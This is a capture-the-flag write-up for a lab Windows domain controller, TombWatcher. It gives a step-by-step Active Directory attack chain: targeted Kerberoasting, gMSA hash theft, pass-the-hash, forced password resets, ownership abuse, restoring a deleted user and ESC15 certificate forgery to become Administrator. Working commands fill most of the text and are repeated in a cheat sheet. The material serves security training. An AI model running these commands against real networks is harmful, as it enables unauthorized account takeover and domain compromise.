πŸͺ¦ TombWatcher

Machine: TombWatcher
Difficulty: Medium/Hard
Theme: Assumed breach β†’ AD ACL chain β†’ gMSA abuse β†’ deleted object restore β†’ ADCS ESC15 β†’ Administrator


🎯 Summary

TombWatcher starts with valid low-privileged credentials for henry. Initial enumeration identifies the host as a Windows Domain Controller for tombwatcher.htb.

BloodHound reveals a long but clean Active Directory ACL chain:

henry           β†’ WriteSPN            β†’ alfred
alfred          β†’ AddSelf             β†’ Infrastructure
Infrastructure  β†’ ReadGMSAPassword    β†’ ansible_dev$
ansible_dev$    β†’ ForceChangePassword β†’ sam
sam             β†’ WriteOwner          β†’ john
john            β†’ MemberOf            β†’ Remote Management Users
john            β†’ GenericAll          β†’ ADCS OU

The ADCS OU appears empty at first, but certificate enumeration reveals a WebServer template with an unresolved SID in its enrollment rights. The SID maps to a deleted user, cert_admin, whose last known parent was the ADCS OU.

By restoring cert_admin, inheriting control from the ADCS OU, and resetting its password, the certificate enrollment principal is recovered. cert_admin can then abuse an ESC15-vulnerable WebServer template to escalate to Administrator.


1. Enumeration

Initial port scanning showed typical Domain Controller services:

SMB
LDAP / LDAPS
Kerberos
DNS
WinRM
ADWS
RPC dynamic ports

This confirmed the target was a Domain Controller.

Hosts file

The domain and DC hostname were added to /etc/hosts:

echo "[TARGET_IP] tombwatcher.htb dc01.tombwatcher.htb" | sudo tee -a /etc/hosts

Authenticated SMB

The provided credentials confirmed valid access:

nxc smb [TARGET_IP] -u 'henry' -p '[REDACTED]'

RID brute-force

nxc smb [TARGET_IP] -u 'henry' -p '[REDACTED]' --rid-brute

Interesting objects included:

henry
alfred
sam
john
Infrastructure
ansible_dev$

Password policy

nxc smb [TARGET_IP] -u 'henry' -p '[REDACTED]' --pass-pol

Notable settings:

Minimum password length: 1
Password complexity disabled
No lockout threshold
No maximum password age

The weak policy was useful context, but the real path was through AD ACL abuse rather than password spraying.


2. BloodHound Enumeration

BloodHound data was collected with Henry’s credentials:

bloodhound-python -u henry -p '[REDACTED]' -d tombwatcher.htb -ns [TARGET_IP] -c All

Kerberos initially failed due to clock skew, so time synchronization was required:

sudo ntpdate [TARGET_IP]

After importing the BloodHound data, the critical path was:

henry           β†’ WriteSPN            β†’ alfred
alfred          β†’ AddSelf             β†’ Infrastructure
Infrastructure  β†’ ReadGMSAPassword    β†’ ansible_dev$
ansible_dev$    β†’ ForceChangePassword β†’ sam
sam             β†’ WriteOwner          β†’ john
john            β†’ MemberOf            β†’ Remote Management Users
john            β†’ GenericAll          β†’ ADCS OU

This gave a clear privilege escalation chain.


3. Targeted Kerberoasting via WriteSPN

BloodHound showed that henry had WriteSPN over alfred.

Check Alfred’s current SPN state

bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p '[REDACTED]' \
  get object alfred --attr servicePrincipalName

The attribute was empty.

Add a temporary SPN

bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p '[REDACTED]' \
  set object alfred servicePrincipalName -v 'http/something-unique.tombwatcher.htb'

Verify it took:

bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p '[REDACTED]' \
  get object alfred --attr servicePrincipalName

Request a TGS and crack it

GetUserSPNs.py -dc-ip [TARGET_IP] tombwatcher.htb/henry:[REDACTED] \
  -request -request-user alfred -outputfile spn_hash.txt
hashcat -m 13100 spn_hash.txt /usr/share/wordlists/rockyou.txt

Recovered:

alfred : [REDACTED]

Clean up

After the hash was captured, the temporary SPN was removed and the cleanup verified:

bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u henry -p '[REDACTED]' \
  set object alfred servicePrincipalName
 
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p '[REDACTED]' \
  get object alfred --attr servicePrincipalName

4. Add Alfred to Infrastructure

BloodHound showed:

alfred β†’ AddSelf β†’ Infrastructure

Alfred added himself to the Infrastructure group:

bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u alfred -p '[REDACTED]' \
  add groupMember Infrastructure alfred

Verify membership:

bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u alfred -p '[REDACTED]' \
  get object alfred --attr memberOf

This unlocked the next edge:

Infrastructure β†’ ReadGMSAPassword β†’ ansible_dev$

5. Read gMSA Password for ansible_dev$

Using Alfred’s membership in Infrastructure, the gMSA managed password for ansible_dev$ was retrieved:

bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u alfred -p '[REDACTED]' \
  get object 'ansible_dev$' --attr msDS-ManagedPassword

The useful value was the NT hash field:

msDS-ManagedPassword.NT

The long Base64 blob was not used for authentication. The NT hash was used with pass-the-hash:

nxc smb [TARGET_IP] -u 'ansible_dev$' -H '[NT_HASH]'

This confirmed valid authentication as the gMSA account.


6. ForceChangePassword on sam

BloodHound showed:

ansible_dev$ β†’ ForceChangePassword β†’ sam

This allowed resetting Sam’s password without knowing the original password:

bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u 'ansible_dev$' -p :[NT_HASH] \
  set password sam '[REDACTED]'

Sam’s credentials were validated:

nxc smb [TARGET_IP] -u sam -p '[REDACTED]'

7. Take Over John via WriteOwner

BloodHound showed:

sam β†’ WriteOwner β†’ john

WriteOwner does not directly reset a password. The abuse path is:

take ownership of John
grant Sam full control over John
reset John's password

Change ownership

bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u sam -p '[REDACTED]' \
  set owner john sam

Grant Sam GenericAll over John

bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u sam -p '[REDACTED]' \
  add genericAll john sam

Reset John’s password

bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u sam -p '[REDACTED]' \
  set password john '[REDACTED]'

Validate:

nxc smb [TARGET_IP] -u john -p '[REDACTED]'

WinRM as John

BloodHound showed John was a member of Remote Management Users, so WinRM access was tested:

evil-winrm -i [TARGET_IP] -u john -p '[REDACTED]'

This provided an interactive shell as John.

User flag

type C:\Users\john\Desktop\user.txt

8. ADCS Enumeration

John also had:

john β†’ GenericAll β†’ ADCS OU

At first, the ADCS OU appeared empty in BloodHound:

Groups: 0
Computers: 0
Users: 0

Certificate services were enumerated with Certipy:

certipy find -u john@tombwatcher.htb -p '[REDACTED]' \
  -target dc01.tombwatcher.htb -dc-ip [TARGET_IP] -output certipy_full

The important template was:

Template Name:                 WebServer
Display Name:                  Web Server
Schema Version:                1
Enrollee Supplies Subject:     True
Extended Key Usage:            Server Authentication
Requires Manager Approval:     False
Authorized Signatures Required: 0

The template contained an unresolved SID in its enrollment rights:

S-1-5-21-1392491010-1358638721-2126982587-1111

The relevant template data was extracted from the Certipy JSON with jq:

jq -r '
  .["Certificate Templates"] |
  to_entries[] |
  select(
    (
      all(
        .value.Permissions."Enrollment Permissions"."Enrollment Rights"[];
        test("domain|enterprise|RAS"; "i")
      )
    ) | not
  )
' certipy_full_Certipy.json

The WebServer template stood out because the unresolved SID appeared alongside Domain Admins and Enterprise Admins.


9. Correlate the Unresolved SID to a Deleted Object

From the WinRM shell as John, the unresolved SID was queried directly:

Get-ADObject -Filter 'objectSid -eq "S-1-5-21-1392491010-1358638721-2126982587-1111"' `
  -IncludeDeletedObjects `
  -Properties cn,name,objectSid,isDeleted,lastKnownParent,msDS-LastKnownRDN,objectGUID,distinguishedName

This revealed a deleted user:

Name:            cert_admin
ObjectClass:     user
Deleted:         True
ObjectGUID:      938182c3-bf0b-410a-9aaa-45c8e1a02ebf
objectSid:       S-1-5-21-1392491010-1358638721-2126982587-1111
LastKnownParent: OU=ADCS,DC=tombwatcher,DC=htb

This explained why the ADCS OU was empty: the certificate-related user had been deleted, but its SID still held enrollment rights on the WebServer template.


10. Restore cert_admin

The deleted user was restored by ObjectGUID:

Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"

Verify:

Get-ADUser cert_admin -Properties objectSid,distinguishedName,enabled

The user was restored to:

CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb

with the same SID:

S-1-5-21-1392491010-1358638721-2126982587-1111

Inherit FullControl from the ADCS OU

Because John had GenericAll over the ADCS OU, inherited control was applied to child objects:

dacledit.py -action 'write' -rights 'FullControl' -inheritance \
  -principal john \
  -target-dn 'OU=ADCS,DC=tombwatcher,DC=htb' \
  'TOMBWATCHER.HTB/john:[REDACTED]'

Reset cert_admin’s password

bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u john -p '[REDACTED]' \
  set password cert_admin '[REDACTED]'

Important gotcha:

The restored user was periodically deleted by a cleanup task.
The restore β†’ reset β†’ certificate request had to be performed quickly.

Validate the account:

nxc smb [TARGET_IP] -u cert_admin -p '[REDACTED]'

11. Confirm cert_admin Enrollment Rights

Certipy was rerun as cert_admin:

certipy find -u cert_admin@tombwatcher.htb -p '[REDACTED]' \
  -dc-ip [TARGET_IP] -vulnerable

The WebServer template now showed:

Enrollment Rights:           TOMBWATCHER.HTB\cert_admin
User Enrollable Principals:  TOMBWATCHER.HTB\cert_admin
Vulnerability:               ESC15

The important ESC15 conditions were:

Schema Version:                 1
Enrollee Supplies Subject:      True
Requires Manager Approval:      False
Authorized Signatures Required: 0

This confirmed that cert_admin could abuse the vulnerable WebServer template.


12. Abuse ESC15

The WebServer template was vulnerable to ESC15 because it was a schema version 1 template with enrollee-supplied subject enabled.

The working abuse path was to request a certificate as cert_admin while injecting application policy and Administrator identity information.

certipy req \
  -u 'cert_admin@tombwatcher.htb' \
  -p '[REDACTED]' \
  -dc-ip '[TARGET_IP]' \
  -target 'dc01.tombwatcher.htb' \
  -ca 'tombwatcher-CA-1' \
  -template 'WebServer' \
  -upn 'administrator@tombwatcher.htb' \
  -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' \
  -application-policies 'Client Authentication'

This generated an Administrator certificate.

Depending on local TLS/OpenSSL behavior, the certificate can be used through Certipy authentication or LDAP/Schannel-based authentication. The goal is to obtain Administrator-level access or credential material.

certipy auth -dc-ip [TARGET_IP] -pfx administrator.pfx

13. Final Shell as Administrator

With Administrator credential material, WinRM access to the Domain Controller was obtained:

evil-winrm -i [TARGET_IP] -u Administrator -H [NT_HASH]

Then:

whoami
type C:\Users\Administrator\Desktop\root.txt

This completed the box.


πŸ”— Condensed Attack Chain

henry
  ↓
WriteSPN over alfred
  ↓
Targeted Kerberoast
  ↓
alfred
  ↓
AddSelf to Infrastructure
  ↓
ReadGMSAPassword on ansible_dev$
  ↓
ansible_dev$ NT hash
  ↓
ForceChangePassword over sam
  ↓
sam
  ↓
WriteOwner over john
  ↓
Take ownership of john
  ↓
Grant GenericAll over john
  ↓
Reset john password
  ↓
WinRM as john
  ↓
GenericAll over ADCS OU
  ↓
Certipy finds WebServer template with unresolved SID
  ↓
Deleted object lookup maps SID to cert_admin
  ↓
Restore cert_admin
  ↓
Inherited FullControl from ADCS OU
  ↓
Reset cert_admin password
  ↓
cert_admin enrolls in WebServer template
  ↓
ESC15
  ↓
Administrator certificate
  ↓
Administrator access
  ↓
Root flag

🧠 Key Takeaways

  • BloodHound paths should be validated one edge at a time instead of blindly trusting shortest-path output.
  • WriteSPN over a user can be converted into credentials through targeted Kerberoasting β€” set, roast, crack, then clean up.
  • gMSA password retrieval gives an NT hash that can be used directly with pass-the-hash. The Base64 blob is not what you authenticate with.
  • WriteOwner is not the final abuse primitive by itself. It enables ownership change, which then enables DACL modification and account takeover.
  • GenericAll over an empty OU is not necessarily useless. In this case, the OU mattered because a deleted object’s LastKnownParent pointed back to it.
  • Unresolved SIDs in certificate template permissions are high-value clues. They can reveal deleted or orphaned principals that still retain sensitive rights.
  • ESC15 can turn an apparently server-authentication-only template into a domain escalation path when schema version 1 and enrollee-supplied subject are present.

⚑ Commands Cheat Sheet

# Host mapping
echo "[TARGET_IP] tombwatcher.htb dc01.tombwatcher.htb" | sudo tee -a /etc/hosts
 
# RID brute
nxc smb [TARGET_IP] -u 'henry' -p '[REDACTED]' --rid-brute
 
# Password policy
nxc smb [TARGET_IP] -u 'henry' -p '[REDACTED]' --pass-pol
 
# BloodHound collection
bloodhound-python -u henry -p '[REDACTED]' -d tombwatcher.htb -ns [TARGET_IP] -c All
 
# Time sync
sudo ntpdate [TARGET_IP]
 
# Check Alfred SPN
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p '[REDACTED]' \
  get object alfred --attr servicePrincipalName
 
# Add fake SPN
bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u henry -p '[REDACTED]' \
  set object alfred servicePrincipalName -v 'http/something-unique.tombwatcher.htb'
 
# Request TGS
GetUserSPNs.py -dc-ip [TARGET_IP] tombwatcher.htb/henry:[REDACTED] \
  -request -request-user alfred -outputfile spn_hash.txt
 
# Crack TGS
hashcat -m 13100 spn_hash.txt /usr/share/wordlists/rockyou.txt
 
# Clean Alfred SPN
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u henry -p '[REDACTED]' \
  set object alfred servicePrincipalName
 
# Add Alfred to Infrastructure
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u alfred -p '[REDACTED]' \
  add groupMember Infrastructure alfred
 
# Read gMSA password
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u alfred -p '[REDACTED]' \
  get object 'ansible_dev$' --attr msDS-ManagedPassword
 
# Validate gMSA hash
nxc smb [TARGET_IP] -u 'ansible_dev$' -H '[NT_HASH]'
 
# Reset Sam
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u 'ansible_dev$' -p :[NT_HASH] \
  set password sam '[REDACTED]'
 
# Take ownership of John
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u sam -p '[REDACTED]' \
  set owner john sam
 
# Grant GenericAll over John
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u sam -p '[REDACTED]' \
  add genericAll john sam
 
# Reset John
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u sam -p '[REDACTED]' \
  set password john '[REDACTED]'
 
# WinRM as John
evil-winrm -i [TARGET_IP] -u john -p '[REDACTED]'
 
# Certipy enumeration
certipy find -u john@tombwatcher.htb -p '[REDACTED]' \
  -target dc01.tombwatcher.htb -dc-ip [TARGET_IP] -output certipy_full
# Find deleted cert_admin by SID (from WinRM as john)
Get-ADObject -Filter 'objectSid -eq "S-1-5-21-1392491010-1358638721-2126982587-1111"' `
  -IncludeDeletedObjects `
  -Properties cn,name,objectSid,isDeleted,lastKnownParent,msDS-LastKnownRDN,objectGUID,distinguishedName
 
# Restore cert_admin
Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
# Apply inherited FullControl on ADCS OU
dacledit.py -action 'write' -rights 'FullControl' -inheritance \
  -principal john \
  -target-dn 'OU=ADCS,DC=tombwatcher,DC=htb' \
  'TOMBWATCHER.HTB/john:[REDACTED]'
 
# Reset cert_admin
bloodyAD --host [TARGET_IP] -d tombwatcher.htb -u john -p '[REDACTED]' \
  set password cert_admin '[REDACTED]'
 
# Confirm ESC15
certipy find -u cert_admin@tombwatcher.htb -p '[REDACTED]' \
  -dc-ip [TARGET_IP] -vulnerable
 
# ESC15 certificate request
certipy req \
  -u 'cert_admin@tombwatcher.htb' \
  -p '[REDACTED]' \
  -dc-ip '[TARGET_IP]' \
  -target 'dc01.tombwatcher.htb' \
  -ca 'tombwatcher-CA-1' \
  -template 'WebServer' \
  -upn 'administrator@tombwatcher.htb' \
  -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' \
  -application-policies 'Client Authentication'
 
# Authenticate with Administrator certificate
certipy auth -dc-ip [TARGET_IP] -pfx administrator.pfx
 
# Final shell
evil-winrm -i [TARGET_IP] -u Administrator -H [NT_HASH]

Field-manual techniques demonstrated on this box:


🧭 Diagnostic Map

Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks β€œwrong” but the underlying step is actually salvageable.

Symptom: BloodHound collection fails with KRB_AP_ERR_SKEW
Meaning: The local clock has drifted from the DC; Kerberos rejects the auth
Next: sudo ntpdate <DC-IP> and re-run collection

Symptom: WriteSPN over a user but their servicePrincipalName is empty
Meaning: No SPN to roast yet β€” but you can write one
Next: bloodyAD set object <user> servicePrincipalName -v 'http/unique.<domain>', then GetUserSPNs.py -request-user <user>, then clean the SPN

Symptom: msDS-ManagedPassword query returns both a Base64 blob and an NT hash field
Meaning: The blob is the raw managed password structure; the NT hash is the usable secret
Next: Use the NT hash for pass-the-hash (nxc smb ... -H <NT_HASH>) β€” never authenticate with the blob

Symptom: WriteOwner edge but password reset isn’t allowed directly
Meaning: WriteOwner is not a direct reset β€” it’s a permission to take ownership
Next: Chain: set owner <target> <you> β†’ add genericAll <target> <you> β†’ set password <target> <new>

Symptom: BloodHound shows an OU as the target of GenericAll but the OU appears empty
Meaning: Don’t dismiss it β€” deleted objects with lastKnownParent pointing here may still hold rights
Next: Enumerate certificate templates with Certipy; look for unresolved SIDs in enrollment rights

Symptom: Certipy shows a vulnerable cert template with an unresolved SID in its enrollment rights
Meaning: A previously deleted principal still holds rights to the template
Next: Query AD with -IncludeDeletedObjects to map the SID to a tombstoned user

Symptom: Restored an AD object but it’s missing inherited rights
Meaning: Inheritance from the parent OU wasn’t reapplied on restore
Next: Apply inherited FullControl with dacledit.py -action write -rights FullControl -inheritance

Symptom: Restored user keeps disappearing
Meaning: A scheduled cleanup task is purging restored objects
Next: Do restore β†’ password reset β†’ certificate request in one fast pass; don’t pause

Symptom: Want to abuse an ESC15 (schema v1 + enrollee-supplied subject) template
Meaning: Need to inject application policy + target identity in the request
Next: certipy req ... -upn 'administrator@<domain>' -sid <admin-SID> -application-policies 'Client Authentication'

Symptom: Have Administrator PFX but certipy auth returns a strange OpenSSL/Schannel error
Meaning: Some TLS/OpenSSL configurations break the cert-based auth path
Next: Fall back to LDAP/Schannel-based auth, or use the certificate for an alternate auth method to recover the NT hash


πŸ“ Personal Notes

The decisive step on TombWatcher is realizing that the ADCS OU being empty does not make it irrelevant. The unresolved SID on the WebServer template is the clue that a deleted object still matters.

Once the SID is mapped to cert_admin, the whole path becomes clear:

restore the deleted principal
inherit control from the ADCS OU
recover enrollment rights
abuse ESC15

This box is a strong example of why AD exploitation is not just about finding one dangerous edge. The full path required chaining object control, gMSA retrieval, password resets, ownership abuse, deleted object recovery, and ADCS template exploitation.